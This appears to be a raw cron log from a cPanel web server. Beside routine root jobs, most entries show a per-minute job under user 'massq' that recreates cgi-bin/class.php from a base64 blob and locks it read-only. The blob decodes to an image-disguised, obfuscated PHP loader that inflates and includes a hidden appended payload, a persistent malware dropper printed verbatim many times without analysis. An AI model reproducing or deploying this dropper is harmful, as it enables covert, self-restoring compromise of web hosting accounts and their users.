&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:50:02 server CROND[7494]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 09:50:02 server CROND[7500]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 09:50:02 server CROND[7503]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:50:02 server CROND[7502]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 09:50:02 server CROND[7507]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 09:51:01 server CROND[8380]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:52:01 server CROND[9362]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:53:01 server CROND[10068]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:54:01 server CROND[10900]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:55:01 server CROND[11864]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 09:55:01 server CROND[11865]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 09:55:01 server CROND[11866]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:56:01 server CROND[12746]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:57:01 server CROND[13216]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 09:57:01 server CROND[13217]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:58:01 server CROND[14033]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:59:01 server CROND[14852]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:00:01 server CROND[15878]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 10:00:01 server CROND[15879]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 10:00:01 server CROND[15880]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 10 10:00:01 server CROND[15886]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 10:00:01 server CROND[15885]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:01:01 server CROND[16789]: (root) CMD (run-parts /etc/cron.hourly)
Nov 10 10:01:01 server CROND[16790]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:01:01 server run-parts(/etc/cron.hourly)[16789]: starting 0anacron
Nov 10 10:01:01 server run-parts(/etc/cron.hourly)[16802]: finished 0anacron
